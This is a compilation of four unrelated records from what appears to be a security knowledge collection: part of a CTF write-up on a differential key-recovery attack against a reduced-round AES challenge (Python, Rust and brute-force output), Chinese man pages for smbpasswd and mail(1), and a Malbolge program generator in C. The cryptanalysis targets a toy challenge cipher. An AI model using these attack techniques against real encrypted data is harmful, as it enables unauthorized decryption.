post_delta2 = xor_bytes(unmix(ciphertexts[0]), unmix(ciphertexts[2]))
```
Notice how each of these four operations are either byte-wise or column-wise:
```python
sub_bytes(plain_state) # byte-wise
mix_columns(plain_state) # column-wise
add_round_key(plain_state, self._key_matrices[1]) # byte-wise
sub_bytes(plain_state) # byte-wise again
```
We will therefore consider this as four independent transformations of each of the 32-bit columns.
Let's look at the state at this moment:
```python
# Call the state here P1, P2, P3 for each of the pt-ct pairs.
sub_bytes(plain_state)
mix_columns(plain_state)
add_round_key(plain_state, self._key_matrices[1])
# Call the state here S1, S2, S3 for each of the pt-ct pairs.
sub_bytes(plain_state)
# Call the state here C1, C2, C3 for each of the pt-ct pairs.
```
When you look at it bytewise, `(S1 ^ S2, S1 ^ S3)` has very little possibilities.
1. There are 256 possible values for `C1[i]`.
2. This determines `C2[i]` and `C3[i]` because of the known `post_delta`.
3. The inverse S-box determines the possible values for `S1[i]`, `S2[i]`, `S3[i]`.
```rust
fn expected_deltas(d1: u8, d2: u8) -> DeltaSet {
let mut deltas = DeltaSet(BitArray::zeroed());
for a in 0..=255 {
let p = INV_SBOX[a as usize] ^ INV_SBOX[(a ^ d1) as usize];
let q = INV_SBOX[a as usize] ^ INV_SBOX[(a ^ d2) as usize];
deltas.add([p, q]);
}
deltas
}
// ...
let expected: [DeltaSet; 4] = array_init(|i| expected_deltas(post_delta1[i], post_delta2[i]));
```
The reason why we're interested in the deltas is that `add_round_key` won't change them. Now we just
bruteforce the input P1, determine P2 and P3, calculate `sub_bytes` and `mix_columns`, and check
whether the differences match what we expect. The chance of a false positive for any specific attempt
is `2**-32`, so we should expect about one spurious result. And indeed, this is the result produced:
```
067c20d3
1f473b29
--------
8a151475
d441a30c
--------
d4eb9f89
34a72235
--------
a0227d5b
1e89501b
f669b656
336f0e52
--------
real 2m29.248s
user 9m52.629s
sys 0m0.020s
```
Internally, I am representing the `DeltaSet` as a bit array of `2**16` bits. After the CTF, I've also
tried storing a sorted array and either binary or linear searching, but as I estimated, the bit array
is fastest, as memory bandwidth is nowhere near saturated.
All that's left to do is try out the 32 candidates, compute the corresponding key for each, and see if
the ciphertexts match. Calculating said key essentially amounts to a single XOR.
|
sec-knowleage
|
.\"Generated by db2man.xsl. Don't modify this, modify the source.
.de Sh \" Subsection
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Ip \" List item
.br
.ie \\n(.$>=3 .ne \\$3
.el .ne 3
.IP "\\$1" \\$2
..
.TH "SMBPASSWD" 5 "" "" ""
.SH NAME
smbpasswd \- Samba加密的口令文件。
.SH "总览 SYNOPSIS"
.PP
\fIsmbpasswd\fR
.SH "描述 DESCRIPTION"
.PP
此文件是 \fBSamba\fR(7) 套件的一部分。
.PP
smbpasswd是Samba加密的口令文件。文件中包含了用户名,UNIX用户ID和SMB用户口
令(经过hash散列算法处理过),还有账号标志信息及上次更改口令时间。samba已经
改进了文件格式并和以前的格式有些不同之处。
.SH "文件格式 FILE FORMAT"
.PP
Samba 2.2使用的smbpasswd文件格式和UNIX的\fIpasswd(5)\fR文件非常类似。它是个ASCII文件,其中每行内容对应一个用户。每个字段用冒号分隔。任何以#号开始的行将被忽略。对于每个用户在smbpasswd文件中都包含以下的信息:
.TP
name
用户名,必须是标准UNIX口令文件中已经存在的用户名。
.TP
uid
UNIX的用户标识。必须匹配标准UNIX口令文件中相应用户的UID字段。如果不匹配Samba会拒绝确认用户的整个描述项合法。
.TP
Lanman Password Hash
此处是用户口令的32位十六进制编码的LANMAN散列表。LANMAN散列表是用DES加密过
的用户口令字串。这也是Windows 95/98使用的口令。注意这份口令编码表在字典攻
击法下非常脆弱,并且如果两个用户使用了相同的口令的话,这个口令散列表将会
相同(也就是这个口令没有像UNIX口令那样\(lq加工\(rq过)。如果用户使用了空口
令,这个部分起始将是\(lqNO PASSWORD\(rq的十六进制字串。而如果这些十六进制
字串是32个\(lqX\(rq的话,那么这个用户账号就被\fB禁止\fR了,用户就不能登录
到samba服务器上了。
\fB警告\fR!!注意到由于SMB/CIFS验证协议的\(lq请求-响应\(rq特性,任何了解
口令散列表信息的人都可以伪装成网络中的其他用户。因此,这些口令散列表信息
都相当于只是\(lq明文\(rq一样(\fBplain text equivalents\fR). root以外的任
何用户都不应该获得这些数据. 为了保护这些口令,smbpasswd文件被存放到只有
root用户可以读取和访问的目录中,而smbpasswd文件本身也必须设成只有root用户
可以读/写,而其它人无法访问。
.TP
NT Password Hash
指定Windows NT的用户口令散列表,也是32位的十六进制编码。NT的散列表用16位
的用户口令,little-endian UNICODE编码建立,然后用MD4算法(互联网草案
rfc1321)产生对应的散列表。
这种口令散列表比Lanman Password Hash更安全,因为它用更高质量的散列算法来
维护口令和用户信息。但是它仍然存在当两个用户使用相同口令时口令项相同的问
题(没有像UNIX口令那样\(lq加工\(rq过)。
\fB警告\fR!!注意到由于SMB/CIFS验证协议的\(lq请求-响应\(rq特性,任何了解
口令散列表信息的人都可以伪装成网络中的其他用户。因此,这些口令散列表信息
都相当于只是\(lq明文\(rq一样(\fBplain text equivalents\fR). root以外的任
何用户都不应该获得这些数据. 为了保护这些口令,smbpasswd文件被存放到只有
root用户可以读取和访问的目录中,而smbpasswd文件本身也必须设成只有root用户
可以读/写,而其它人无法访问。
.TP
Account Flags
账号标志部分描述了用户账号的属性。在Samba 2.2中这个字段是用`['和`]'字符封
闭的。它的长度总是13个字符(包含`['和`]'字符), 内容可以是如下的任何字符。
\fBU\fR - 说明这是一个\(lq用户\(rq 账号,也就是原始用户。在smbpasswd文件中只支持用户和工作站信任账号。
\fBN\fR - 说明这个账号没有口令(Lanman Password Hash和NT Password Hash字段会被忽略)。注意只有在\fBsmb.conf\fR(5)配置文件中设定了\fI null passwords\fR,才允许用户不带口令进行登录。
\fBD\fR - 说明此账号被禁止了,此用户无法登录SMB/CIFS。
\fBW\fR - 说明此账号是个 \(lq工作站信任\(rq 账号。这类账号被用在把samba作为PDC时, NT工作站和服务器加入到域中的时候。
其它标志作为将来功能扩展所用。这个标志字段余下的空间用空格填充。
.TP
Last Change Time
这个字段由账号最后修改的时间组成。它以字符LCT(含义是\(lqLast Change
Time\(rq)后跟UNIX以秒计的时间编码数字(从epoch(公元1970年)开始计算)。
.PP
所有其余用冒号分隔的字段现在都将被忽略。
.SH "版本 VERSION"
.PP
此手册页是针对samba套件版本3.0的。
.SH "参见 SEE ALSO"
.PP
\fBsmbpasswd\fR(8), \fBSamba\fR(7), 以及互联网草案RFC1321 中MD4算法的详细资料。
.SH "作者 AUTHOR"
.PP
samba软件和相关工具最初由Andrew Tridgell创建。samba现在由Samba Team 作为开源软件来发展,类似linux内核的开发方式。
.PP
最初的samba手册页是 Karl Auer写的。
手册页源码已经转换为YODL格式(另一种很好的开源软件,可以在ftp://ftp.ice.rug.nl/pub/unix找到),由Jeremy Sllison 更新到Samba2.0 版本。
Gerald Carter 在Samba2.2中将它转化为DocBook 格式。
Alexander Bokovoy 在Samba 3.0中实现了DocBook XML4.2 格式的转换。
.SH "[中文版维护人]"
.B meaculpa <meaculpa@21cn.com>
.SH "[中文版最新更新]"
.B 2000/12/08
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
/**
* Generator for text printing Malbolge programs.
* 2012, 2015 Matthias Ernst.
* Please visit <http://www.matthias-ernst.eu/malbolge.html>
*
* To the extent possible under law, the author has dedicated all copyright
* and related and neighboring rights to this software to the public domain
* worldwide. This software is distributed without any warranty.
*
* See <http://creativecommons.org/publicdomain/zero/1.0/>.
*/
#include <stdio.h>
#include <string.h>
#include <malloc.h>
#define MB_OUT 5
#define MB_ROT 39
#define MB_OPR 62
#define MB_NOP 68
#define MB_HALT 81
const char* translation = "5z]&gqtyfr$(we4{WP)H-Zn,[%\\3dL+Q;>U!pJS72FhOA1CB6v^=I_0/8|jsb9m<.TVac`uY*MK'X~xDl}REokN:#?G\"i@";
int memory[59050]; // program
int memory_runtime[59050]; // memory at runtime: with encrypted commands
int last_A_val = 0; // last value of A register
/**
* Searches and generates Malbolge instructions that generate goal's value in the A register.
* Malbolge command sequence starts at position C.
* Returns the length of the instruction set.
* Returns -1 on failure.
*/
int generate_character(int C, char goal);
void create_malbolge_command(int command, int position) {
command = (command-(position)%94+94)%94;
if (command<33) {
command+=94;
}
memory[position] = command;
if (position >= 98) {
memory_runtime[position] = translation[memory[position]-33];
} else {
memory_runtime[position] = memory[position];
}
}
int opr(int a, int d){
int crz[] = {1,0,0,1,0,2,2,2,1};
int position = 0;
int output = 0;
while (position < 10){
int i = a%3;
int j = d%3;
int out = crz[i+3*j];
int multiple = 1;
int k;
for (k=0;k<position;k++)
multiple *= 3;
output += multiple*out;
a /= 3;
d /= 3;
position++;
}
return output;
}
int rotateR(int d){
int carry = d%3;
d /= 3;
d += 19683 * carry;
return d;
}
int main(int a, char* b[]){
char* out_s; // string that should be printed out by the Malbolge program
int C = 0; // current size of Malbolge program. respectively the value of the C register in Malbolge
int i;
// read command line arguments
if (a > 1){
int total_length = 0; // total length of command line arguments
int pos = 0;
for (i=1;i<a;i++){
total_length += strlen(b[i])+1;
}
if (total_length == 0)
total_length++;
out_s = (char*)(malloc(total_length*sizeof(char)));
for (i=1;i<a;i++){
memcpy(out_s+pos,b[i],strlen(b[i]));
pos+=strlen(b[i]);
out_s[pos]=' ';
pos++;
}
if (pos>0)
pos--;
out_s[pos]=0;
}else{
// If no command line arguments are given, read from STDIN.
// Read 59.000 characters at most.
int pos = 0;
int result = 0;
out_s = (char*)malloc(59001*sizeof(char));
if (stdin == 0){
printf("Cannot access STDIN.\n");
return -1;
}
while (!feof(stdin) && pos < 59000){
result = fread(out_s+pos,1,1,stdin);
if (result<0){
printf("Error while reading from STDIN.\n");
return -1;
}
if (result==0)
break;
pos++;
}
out_s[pos]=0;
}
// first character: b -> cause a jump to address 98 which will be encrypted first
memory_runtime[0] = memory[0] = 'b';
// fill skipped memory cells with NOPs
for (i=1;i<99;i++){
create_malbolge_command(MB_NOP, i);
}
// Malbolge program execution continues with data pointer at 1 and program counter at 99
C = 99;
// The data pointer is always D = C-98, so we needn't store its value.
while (*out_s != 0){
int command_length = 0;
// load character to A register
do {
command_length = generate_character(C, *out_s);
out_s++;
} while(command_length < 0 && *out_s!=0);
if (command_length == -1)
break;
C += command_length;
if (C > 59047){
C=59047;
break;
}else{
// print A register
create_malbolge_command(MB_OUT, C);
C++;
}
}
if (C > 59047){
C=59047;
}
// halt
create_malbolge_command(MB_HALT, C);
C++;
for (i=0;i<C;i++){
printf("%c",(char)memory[i]);
if (i%70 == 69 && i+1 < C)
printf("\n");
}
printf("\n");
return 0;
}
int generate_character(int C, char goal) {
// Current size of the search window.
int window_size = 1;
int i;
if (((unsigned char)goal >= 154 && (unsigned char)goal <= 208)) {
// These characters cannot be generated by our method. Return -1 (no success).
return -1;
}
if ((char)last_A_val == goal){
// goal's value is in the A register already.
return 0;
}
// search for instructions of format
// NOP* ROT? NOP* OPR? NOP* OPR
// or
// NOP* ROT
// that generate goal's value in the A register
// within the search window.
while(window_size <= 700 && window_size + C < 59049){
int rotPos = -1;
do{
int inner_opr_pos = rotPos+1;
do{
int cur_A_val = last_A_val;
for (i=C;i<C+rotPos;i++){
create_malbolge_command(MB_NOP, i);
}
if (rotPos >= 0){
create_malbolge_command(MB_ROT, C+rotPos);
cur_A_val = rotateR(memory_runtime[C+rotPos-98]);
}
for (i=C+rotPos+1;i<C+inner_opr_pos;i++){
create_malbolge_command(MB_NOP, i);
}
if (inner_opr_pos < window_size-1) {
create_malbolge_command(MB_OPR, C+inner_opr_pos);
cur_A_val = opr(cur_A_val,memory_runtime[C+inner_opr_pos-98]);
for (i=C+inner_opr_pos+1;i<C+window_size;i++){
create_malbolge_command(MB_NOP, i);
}
}
if (rotPos < window_size-1){
create_malbolge_command(MB_OPR, C+window_size-1);
cur_A_val = opr(cur_A_val, memory_runtime[C+window_size-1-98]);
}
if ((char)cur_A_val == goal){
// Success.
// Update last_A_val and return length of Malbolge code sequence.
last_A_val = cur_A_val;
return window_size;
}
inner_opr_pos++;
}while (inner_opr_pos < window_size);
rotPos++;
}while (rotPos < window_size);
window_size++; // increase size of search window
}
// Malbolge program size or search space exceeded. Return -1 (no success).
return -1;
}
|
sec-knowleage
|
.\" $OpenBSD: mail.1,v 1.5 1994/06/29 05:09:32 deraadt Exp $
.\" Copyright (c) 1980, 1990, 1993
.\" The Regents of the University of California. All rights reserved.
.\"
.\" Redistribution and use in source and binary forms, with or without
.\" modification, are permitted provided that the following conditions
.\" are met:
.\" 1. Redistributions of source code must retain the above copyright
.\" notice, this list of conditions and the following disclaimer.
.\" 2. Redistributions in binary form must reproduce the above copyright
.\" notice, this list of conditions and the following disclaimer in the
.\" documentation and/or other materials provided with the distribution.
.\" 3. All advertising materials mentioning features or use of this software
.\" must display the following acknowledgement:
.\" This product includes software developed by the University of
.\" California, Berkeley and its contributors.
.\" 4. Neither the name of the University nor the names of its contributors
.\" may be used to endorse or promote products derived from this software
.\" without specific prior written permission.
.\"
.\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
.\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
.\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
.\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
.\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
.\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
.\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
.\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
.\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
.\" SUCH DAMAGE.
.\"
.\" from: @(#)mail.1 8.2 (Berkeley) 12/30/93
.\"
.Dd 1993年12月30日
.Dt MAIL 1
.Os BSD 4
.Sh NAME(名称)
.Nm mail
.Nd 发送和接收邮件
.Sh SYNOPSIS(总览)
.Nm mail
.Op Fl iInv
.Op Fl s Ar subject
.Op Fl c Ar cc-addr
.Op Fl b Ar bcc-addr
.Ar to-addr...
.Nm mail
.Op Fl iInNv
.Fl f
.Op Ar name
.Nm mail
.Op Fl iInNv
.Op Fl u Ar user
.Sh INTRODUCTION(介绍)
.Nm Mail
是一个智能化的邮件处理系统,它具有
.Xr \&ed 1
的命令语法回忆功能,只是用消息替换了行罢了.
.Pp
.Bl -tag -width flag
.It Fl v
详尽模式.
传输邮件的细节都呈现在用户的终端上.
.It Fl i
忽略tty中断信号.
这对于在嘈杂的电话线路上使用
.Nm mail
特别有用.
.It Fl I
强迫mail以交互模式运行,即使其不是通过终端输入的.
特别地,正在发送邮件时,
.Sq Ic \&~
特殊字符只在交互模式下才起作用.
.It Fl n
禁止在启动时读取
.Pa /etc/mail.rc
.It Fl N
当阅读邮件或编辑邮件夹时禁止消息头的初始化显示.
.It Fl s
在命令行上指定主题(仅把
.Fl s
标识后的第一个参数用作主题;注意对包含空格的主题加上引号.)
.It Fl c
发送复件(carbon copy)给用户
.Ar list
.It Fl b
发送隐藏的复写副本(blind carbon copy)给用户
.Ar list .
list应为以逗号分隔的名字列表.
.It Fl f
读入你的
.Ar mbox
(或指定文件)
中的内容进行处理;当你
.Ar quit
时,
.Nm mail
会把未删除的消息写回该文件.
.It Fl u
相当于:
.Pp
.Dl mail -f /var/spool/mail/user
.El
.Ss Sending mail(发送邮件)
要发送一条消息给一个或更多的人,
.Nm mail
可以以邮件将要发送的人名作为参数进行调用.
然后要求你输入你的消息,并在每行的开头跟着
一个
.Sq Li control\-D
下面的部分
.Ar Replying to or originating mail ,
描述了一些
.Nm mail
用于帮助你操作信件的功能.
.Pp
.Ss Reading mail(阅读邮件)
在一般的用法中
.Nm mail
不带任何参数,并通过邮局(post office)检查你的邮件,然后对于每条找到的消息打印出一个
行头.当前的消息初始为第一条消息(序号1),而且可以使用
.Ic print
命令(可简省为
.Ql Ic p )
打印.
你可以使用命令
.Ql Ic \&+
和
.Ql Ic \&\-
如在
.Xr \&ed 1
的各行间移动一样前后移动消息,或者移动到一个简单的序号.
.Pp
.Ss Disposing of mail(丢弃邮件).
在检查了消息之后,你可以
.Ic delete
.Ql Ic d )
这条消息或者
.Ic reply
.Ql Ic r )
它.
删除会导致
.Nm mail
程序遗忘该条消息.
这并非不能撤销;可以通过给定其序号来
.Ic undeleted
.Ql Ic u )
该条消息,或者
通过指定
.Ic exit
.Ql Ic x )
命令来终止
.Nm mail
的会话.
不过,删除了的消息就会永远消失不再出现.
.Pp
.Ss Specifying messages(指定消息)
命令如
.Ic print
和
.Ic delete
可以给定一组消息的序号作为参数来一次性对这组消息进行操作.
所以,
.Dq Li delete 1 2
会删除消息1和2,而
.Dq Li delete 1\-5
会删除消息1到5.
特殊名字
.Ql Li \&*
表示所有消息,而
.Ql Li \&$
表示最后一条消息;因此用来打印一条消息的首几行的命令
.Ic top
可用在
.Dq Li top \&*
中以打印所有消息的首几行.
.Pp
.Ss Replying to or originating mail(回复或发送邮件).
你可以使用
.Ic reply
命令来回复一条消息,将它发送回消息的发送者.
你输入的一直到文末的文本定义了该条消息的内容.
当你正在操作一条消息时,
.Nm mail
处理以字符
.Ql Ic \&~
开头的行会有些特殊.
例如,输入
.Ql Ic \&~m
(这一行就这么一句)会放置一个当前消息的拷贝到回复中,其可以通过tabstop右移位(参见下
面的
.Em indentprefix
变量).
其它扩展符可用来设置主题字段,添加和删除消息的收件人,并且允许你返回编辑器来修改消
息,或者用shell执行某些命令.
(这些选项都在下面的summary中给定.)
.Pp
.Ss Ending a mail processing session(终止邮件处理会话).
你可以使用
.Ic quit
.Ql Ic q )
命令来终止
.Nm mail
会话.
检查了的邮件会转到你的
.Ar mbox
文件,除非它们因为删除而被丢弃了.
未检查的邮件则返回到邮局.
(参见上面的
.Fl f
选项).
.Pp
.Ss Personal and systemwide distribution lists(个人和系统的发送列表).
可以创建个人的发送列表,这样,例如你发送邮件到
.Dq Li cohorts
时,即可发送它给一组人.
这样的列表可以通过在你home目录下的文件
.Pa \&.mailrc
中放置如下一行:
.Pp
.Dl alias cohorts bill ozalp jkf mark kridle@ucbcory
.Pp
来实现.
这类别名的当前列表可以使用
.Nm mail
中的
.Ic alias
命令来显示.
系统级的发送列表可以通过编辑
.Pa /etc/aliases
来创建,参看
.Xr aliases 5
和
.Xr sendmail 8 ;
这些具有不同的语法.
在你发送的邮件中,私有别名会在发送给其他人的邮件中展开,这样他们就能够
.Ic reply
给收件人.
系统级的
.Ic aliases
在邮件发送时不会展开,但是当所有邮件通过
.Xr sendmail
时,任何返回机器的回复信都会展开系统级别名.
.Pp
.Ss Network mail(网络邮件)(ARPA,UUCP,Berknet)
参见
.Xr mailaddr 7
以获知关于网络地址的描述.
.Pp
.Nm Mail
可以在
.Pa .mailrc
文件中设置一些选项以改变其操作;因而
.Dq Li set askcc
会激活
.Ar askcc
功能.
(这些选项都总结在下面.)
.Sh SUMMARY(总结)
(改编自`Mail Reference Manual')
.Pp
每条命令单独占一行,而且可能带有参数跟在命令字后.
命令不需要完全输入 \- 使用第一个匹配输入前缀的命令.
对于那些以消息列表作为参数的命令,如果没有给定消息列表,那么使用满足命令要求的下一
条消息.
如果当前消息之后没有任何消息,那么搜索继续向前进行.如果根本没有合适的消息,
.Nm mail
输出
.Dq No applicable messages
并且
终止该命令.
.Bl -tag -width delete
.It Ic \&\-
打印出接下来的消息.
如果给定一个序号
.Ar n
作为参数,那么会转到
.Ar n Ns 'th
前面的消息并打印它.
.It Ic \&?
打印命令概要.
.It Ic \&!
执行后面跟着的shell命令
(参看
.Xr sh 1
和
.Xr csh 1 )
.It Ic Print
.Pq Ic P
如同
.Ic print
一样,不过它还会打印出忽略的消息头字段.
另见
.Ic print ,
.Ic ignore
以及
.Ic retain .
.It Ic Reply
.Pq Ic R
回复信件给发送者.
不回复给发送来的邮件中的其它收件人.
.It Ic Type
.Pq Ic T
与
.Ic Print
命令一致.
.It Ic alias
.Pq Ic a
不带参数,打印出所有当前定义的别名..
带一个参数,打印该别名.
带多于一个的参数,则创建一个新的别名或对老的进行修改,
.It Ic alternates
.Pq Ic alt
如果你在数台机器上有账号.
.Ic alternates
命令很有用.它可以用来通知
.Nm mail
列出的地址实际都是你的.
当你
.Ic 回复
消息时,
.Nm mail
就不会发送消息的拷贝到任何列在
.Ic alternates
列表中的地址.
如果
.Ic alternates
命令未给定参数,那么显示当前alternate的名字.
.It Ic chdir
.Pq Ic c
如果指定了的话,修改用户的工作目录为指定的目录.
如果没有指定目录,那么修改为用户的登录目录.
.It Ic copy
.Pq Ic co
.Ic copy
命令与
.Ic save
一样,唯一的例外是当你退出时,它不会标明删除了的消息.
.It Ic delete
.Pq Ic d
以消息列表作为参数,并且标明它们全部被删除.
删除了的消息不会保存在
.Ar mbox
中,
也不会对大多数其它命令可用.
.It Ic dp
(也作
.Ic dt )
删除当前消息并打印下一条消息.
如果没有下一条消息,
.Nm mail
输出
.Dq Li "at EOF" .
.It Ic edit
.Pq Ic e
读取一组消息,并把文本编辑器按序指向每条消息.
在从编辑器返回时,消息会再读回.
.It Ic exit
.Pf ( Ic ex
或者
.Ic x )
不修改用户的系统邮箱,他的
.Ar mbox
文件,或者在
.Fl f
中的编辑文件而立即返回到shell.
.It Ic file
.Pq Ic fi
与
.Ic folder
相同.
.It Ic folders
列出在你的邮件夹目录中的邮件夹名.
.It Ic folder
.Pq Ic fo
.Ic folder
命令用来转到一个新的邮件文件或文件夹.
不带参数时,它会告知你当前在阅读的文件.
如果你给定了一个参数,它会在当前文件中写完你刚作的修改(例如删除)并读入新的文件.
对名字有一些特别的约定.
#表示前一个文件, %表示你的系统邮箱, %user表示user的系统邮箱, &表示你的
.Ar mbox
文件,而
\&+\&folder表示在你的folder目录中的一个文件.
.It Ic from
.Pq Ic f
读取一组消息并打印出其消息头.
.It Ic headers
.Pq Ic h
显示消息头的当前范围,这是一个18\-消息组.
如果
给定了一个
.Ql \&+
参数,那么会打印下一个18\-消息组,而如果给定了一个
.Ql \&\-
参数,那么会打印前一个18\-消息组.
.It Ic help
与
.Ic \&?
同义.
.It Ic hold
.Pf ( Ic ho ,
也作
.Ic preserve )
读取一个消息列表,并标记其中的每条消息保存到用户的系统邮箱中,而非
.Ar mbox
中.
这不会覆盖
.Ic delete
命令.
.It Ic ignore
添加一列消息头字段到
.Ar ignored list
中.
当你打印一条消息时,在ignore list中的消息头字段不会在你的终端上打印出来.
这条命令对于抑制特定的机器生成的消息头字段很方便.
.Ic Type
和
.Ic Print
命令可以用来完整地打印一条消息,包括忽略的字段.
如果
.Ic ignore
不带任何参数执行,它会列出当前设置的忽略的字段.
.It Ic mail
.Pq Ic m
以登录名和发送组名作为参数并发送邮件给这些人.
.It Ic mbox
标明当你退出时,消息列表会发送到你的home目录下的
.Ic mbox
中.
如果你
.Em 没有
设置
.Ic hold
选项,这就是消息默认的操作行为.
.It Ic next
.Pq Ic n
类似
.Ic \&+
或
.Tn CR )
转到按序的下一条消息并输出它.
如果带了参数列表,则输出下一个匹配的消息.
.It Ic preserve
.Pq Ic pre
与
.Ic hold
同义.
.It Ic print
.Pq Ic p
读取消息列表,并在用户终端上输出每条消息.
.It Ic quit
.Pq Ic q
终止会话,保存所有未删除而且未保存的消息到用户的登录目录下的
.Ar mbox
文件中,并保留所有使用
.Ic hold
或者
.Ic preserve
标记或者从未关联的消息到他的系统邮箱中,另外从他的系统邮箱中删除所有其它消息.
如果新的邮件在这次会话中到达,会给出
.Dq Li "You have new mail"
消息.
如果在编辑邮箱文件时指定了
.Fl f
标识,那么编辑的文件会重写.
返回到Shell会受影响,除非编辑文件的重写失败,在这种情况下,用户可以使用
.Ic exit
命令退出.
.It Ic reply
.Pq Ic r
读取消息列表并发送邮件给发送者和指定消息的所有收件人.
默认消息不能够删除.
.It Ic respond
与
.Ic reply
同义.
.It Ic retain
添加消息头字段列表到
.Ar retained list
中.
只有在retain list中的消息头字段才会在你打印一条消息时显示在你的终端上.
所有其它消息头字段都抑制了.
.Ic Type
和
.Ic Print
命令可以用来完整地打印一条消息.
如果
.Ic retain
不带任何参数执行,它会列出保留字段(retained field)的当前设置.
.It Ic save
.Pq Ic s
读取一个消息列表和一个文件名,并按序添加每条消息到该文件末尾.
文件名应以加引号,后面跟着回应到用户终端上的行数和字符数.
.It Ic set
.Pq Ic se
如果不带任何参数,打印所有变量值.
否则,设置选项.
参数为以下格式:
.Ar option=value
(在=前后都没有空格)或者
.Ar option .
引号标记可能需要放到赋值语句的任何部分以括起空格或者退格符,也即
.Dq Li "set indentprefix=\*q->\*q"
.It Ic saveignore
.Ic Saveignore
用来
.Ic save
.Ic ignore
的内容并
.Ic print
和
.Ic type .
这样标记的消息头字段当通过
.Ic save
保存消息或者当自动保存到
.Ar mbox
中时会过滤掉.
.It Ic saveretain
.Ic Saveretain
用来
.Ic save
.Ic retain
中的内容,并
.Ic print
和
.Ic type .
这样标记的消息头字段当通过
.Ic save
保存消息或者当自动保存到
.Ar mbox
中时会过滤掉.
.Ic Saveretain
覆盖
.Ic saveignore .
.It Ic shell
.Pq Ic sh
调用shell的交互式版本.
.It Ic size
读取一组消息并打印出每条消息按字符的大小.
.It Ic source
.Ic source
命令从一个文件读取命令.
.It Ic top
读取一组消息并打印每条消息的头几行.
打印的行数通过变量
.Ic toplines
控制,默认为5行.
.It Ic type
.Pq Ic t
与
.Ic print
同义.
.It Ic unalias
读取一列由
.Ic alias
命令定义的名字并丢弃已有的用户组.
组名将不再有任何作用.
.It Ic undelete
.Pq Ic u
读取一列消息并标记每条消息为
.Ic 未
删除.
.It Ic unread
.Pq Ic U
读取一列消息并标记每条消息为
.Ic 尚未
阅读.
.It Ic unset
读取一列选项名并丢弃他们已有的值;
这是
.Ic set
的反向操作.
.It Ic visual
.Pq Ic v
读取一列消息并对每条消息调用显示的编辑器.
.It Ic write
.Pq Ic w
与
.Ic save
相似,不同之处在于
.Ic 只保存
消息体而
.Pq Ar 不保存
消息头).
这对于通过消息系统发送和接收源程序文本的情况有很大的用处.
.It Ic xit
.Pq Ic x
与
.Ic exit
同义.
.It Ic z
.Nm Mail
表示当消息头的窗口满了时,如在
.Ic headers
命令中描述的那样显示.
你可以使用
.Ic \&z
命令移动
.Nm mail Ns 's
通告到下一个窗口.
同样,你也可以通过使用
.Ic \&z\&\-
移动到前一个窗口.
.El
.Ss Tilde/Escapes(代字符/扩展符)
.Pp
以下是对tilde escapes的归纳,这用于操作消息以执行特殊的功能.
Tilde escapes只在行首被承认.
名字
.Dq Em tilde\ escape
可能有些用词不当,因为实际的escape字符可通过选项
.Ic escape
设置.
.Bl -tag -width Ds
.It Ic \&~! Ns Ar command
执行指定的shell命令,然后返回消息.
.It Ic \&~b Ns Ar name ...
添加给定名字到复制(carbon copy)的收件人列表中,但是不在Cc:行中显示出来("blind" ca
rbon copy).
.It Ic \&~c Ns Ar name ...
添加给定名字到复制(carbon copy)的收件人列表中.
.It Ic \&~d
从你的home目录中读取文件
.Dq Pa dead.letter
到消息中.
.It Ic \&~e
对当前收集的消息调用文本编辑器.
在编辑完成之后,你可以继续在消息中添加文本.
.It Ic \&~f Ns Ar messages
读取命名的messages到将要发送的消息中.
如果没有指定messages,那么就读取当前消息.
当前被忽略(通过
.Ic ignore
或者
.Ic retain
命令)的消息头不包括在内.
.It Ic \&~F Ns Ar messages
类似于
.Ic \&~f,
不过这包括了所有的消息头.
.It Ic \&~h
通过逐一输入的方式编辑消息头字段,并且允许用户添加文本到消息的末尾或者通过使用当前
终端的消除和抹掉字符来修改字段.
.It Ic \&~m Ns Ar messages
读取命名的messages到将要发送的消息中,以tab或者
.Ar indentprefix
的值交错.
如果没有指定messages,则读取当前消息.
当前被忽略(通过
.Ic ignore
或者
.Ic retain
命令)的消息头不包括在内.
.It Ic \&~M Ns Ar messages
类似于
.Ic \&~m,
不过这包括了所有的消息头.
.It Ic \&~p
打印出当前收集的消息,以消息头字段开始.
.It Ic \&~q
放弃发送消息,如果设置了
.Ic save ,
则复制消息到你home目录下的
.Dq Pa dead.letter
中.
.It Ic \&~r Ns Ar filename
读取指定的file到消息中.
.It Ic \&~s Ns Ar string
使得指定的string成为当前的主题字段.
.It Ic \&~\&t Ns Ar name ...
添加给定的name到直接的收件人列表中.
.It Ic \&~\&v
对当前收集的消息调用后备的编辑器(由
.Ev VISUAL
选项定义).
通常,备用的编辑器是屏幕编辑器.
你退出编辑器后,你可以继续在消息的末尾添加文本.
.It Ic \&~w Ns Ar command
使消息通过command的过滤.
如果command没有输出或者反常地终止,则会保留消息的原始文本.
命令
.Xr fmt 1
经常用作
.Ic command
来重新验证消息.
.It \&~: Ns Ar mail-command
执行给定的mail command.
但是,不是所有命令都允许的.
.It Ic \&~ Ns Ar string
插入文本string到消息中,前面以单个的~开头.
如果你已经修改了escape字符,那么你应该重复这个字符以发送它.
.El
.Ss Mail Options(邮件选项)
选项通过
.Ic set
和
.Ic unset
命令控制.
选项可以是二进制的,在这种情况下,只对它们是否设置了有意义;或者是字符串,这种情况下
的实际值才有意义.
二进制选项包括以下一些:
.Bl -tag -width append
.It Ar append
使得保存在
.Ar mbox
中的消息添加到末尾而不是加到前面.
这通常是应该设置的(也许在
